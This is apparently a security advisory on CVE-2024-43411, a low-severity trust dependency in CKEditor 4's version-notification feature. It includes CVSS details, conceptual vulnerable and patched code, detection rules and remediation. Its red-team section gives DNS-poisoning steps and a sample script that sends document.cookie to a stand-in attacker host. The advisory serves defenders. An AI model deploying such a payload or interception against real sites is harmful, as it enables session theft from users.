CVE-2024-43411

Executive Summary

CVE-2024-43411 is a low-severity (CVSS 3.1) theoretical vulnerability in CKEditor 4, an open-source WYSIWYG HTML editor. The vulnerability arises from a trust dependency on the https://cke4.ckeditor.com domain for version notifications. In a highly unlikely scenario where an attacker gains control over that domain, they could serve malicious payloads to CKEditor instances that have version notifications enabled. This feature is disabled by default in all CKEditor 4 LTS versions, significantly reducing the attack surface. The fix is available in version 4.25.0-lts.

Supply Chain & Package Security

CKEditor 4 is distributed via npm (ckeditor4), CDN, and direct downloads. The vulnerability is not a direct supply chain compromise of the package itself, but rather a dependency on an external domain for version checking. If an attacker were to compromise the cke4.ckeditor.com domain, they could inject malicious code into the version notification response, potentially affecting all CKEditor 4 instances that have the feature enabled. This highlights the risk of relying on external domains for critical functionality without proper integrity checks.

CVSS Breakdown & Threat Level

• CVSS Score: 3.1 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – the attack is possible over the network.
• Attack Complexity (AC): High – the attacker must first compromise the cke4.ckeditor.com domain.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required beyond normal usage.
• Scope (S): Unchanged – the vulnerability does not affect other components.
• Confidentiality (C): None – no data exposure.
• Integrity (I): Low – potential to modify version notification content.
• Availability (A): None – no denial of service.

Threat Level: Low. The attack scenario is highly unlikely and requires a significant external compromise. The feature is disabled by default in LTS versions.

Deep Dive & Mechanics

The vulnerability is rooted in CKEditor 4's version notification feature. When enabled, the editor periodically contacts https://cke4.ckeditor.com to check for updates. The response from this domain is used to display a notification to the user. If an attacker gains control over the cke4.ckeditor.com domain (e.g., through DNS hijacking, domain takeover, or compromise of the hosting infrastructure), they could serve a malicious response. This response could include arbitrary JavaScript or HTML that would be executed in the context of the editor's page.

The attack flow:

1. Attacker compromises cke4.ckeditor.com.
2. CKEditor 4 instance with version notifications enabled makes a request to the domain.
3. Attacker responds with a crafted payload (e.g., JavaScript that exfiltrates data or modifies the editor).
4. The editor processes the response and executes the malicious content.

The vulnerability is theoretical because it requires a high-impact external compromise. The fix in version 4.25.0-lts likely involves removing the dependency on the external domain or adding integrity checks (e.g., subresource integrity, cryptographic signatures).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// CKEditor 4 version notification (simplified)
function checkVersion() {
    fetch('https://cke4.ckeditor.com/version-check')
        .then(response => response.text())
        .then(data => {
            // Directly injects response into DOM
            document.getElementById('notification').innerHTML = data;
        });
}

Patched Code (Conceptual):

// CKEditor 4.25.0-lts version notification (simplified)
function checkVersion() {
    fetch('https://cke4.ckeditor.com/version-check')
        .then(response => response.json())
        .then(data => {
            // Validate response structure and sanitize
            if (data && data.version && data.message) {
                const sanitizedMessage = sanitizeHTML(data.message);
                document.getElementById('notification').textContent = sanitizedMessage;
            }
        });
}

The patched version likely uses JSON responses, sanitizes HTML, and validates the response structure to prevent injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Control over cke4.ckeditor.com (e.g., through DNS poisoning or domain takeover).
• CKEditor 4 instance with version notifications enabled.

Exploitation Steps:

1. Set up a malicious server that mimics cke4.ckeditor.com.
2. Poison DNS or use a man-in-the-middle attack to redirect traffic to your server.
3. Serve a malicious response containing JavaScript that steals session cookies or modifies the editor content.

Example Malicious Response:

<script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor outbound connections to cke4.ckeditor.com from CKEditor instances.
• Alert on unexpected changes in DNS resolution for cke4.ckeditor.com.
• Use network segmentation to restrict outbound traffic from web servers.

Hunting:

• Search for CKEditor instances with version notifications enabled (check configuration files).
• Review web server logs for requests to cke4.ckeditor.com and analyze response content.

Indicators of Compromise (IOCs)

• Domain: cke4.ckeditor.com (if compromised, monitor for unusual DNS records).
• Network: Unexpected HTTP responses from cke4.ckeditor.com containing JavaScript or HTML.
• File: CKEditor configuration files with versionCheck: true (e.g., config.versionCheck = true).
• Log: Web server logs showing requests to https://cke4.ckeditor.com/version-check.

Detection Engineering

YARA Rule

rule Detect_CKEditor_Version_Notification_Enabled {
    meta:
        description = "Detects CKEditor 4 instances with version notifications enabled"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43411"
    strings:
        $config = "versionCheck" nocase
        $true = "true" nocase
        $domain = "cke4.ckeditor.com" nocase
    condition:
        $config and $true and $domain
}

Sigma Rule

title: CKEditor Version Notification Outbound Connection
id: 8a3f2c1e-5d7b-4a9c-8e6f-2b1d3c4a5e6f
status: experimental
description: Detects outbound connections to cke4.ckeditor.com from CKEditor instances
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43411
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        DestinationHostname: "cke4.ckeditor.com"
        DestinationPort: 443
    condition: selection
falsepositives:
    - Legitimate CKEditor version checks
level: low

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-43411 CKEditor Version Notification Outbound"; flow:to_server; content:"cke4.ckeditor.com"; http_host; content:"/version-check"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CKEditor 4 to version 4.25.0-lts or later.
2. Disable version notifications if not needed: set config.versionCheck = false.
3. Ensure CKEditor 4 LTS is used, as version notifications are disabled by default.

Long-term Measures:

• Implement Subresource Integrity (SRI) for any external resources.
• Use a Content Security Policy (CSP) to restrict script execution.
• Regularly audit dependencies and external domain dependencies.

Workarounds:

• Block outbound connections to cke4.ckeditor.com at the network level.
• Use a local proxy to intercept and validate version check responses.

Valters IT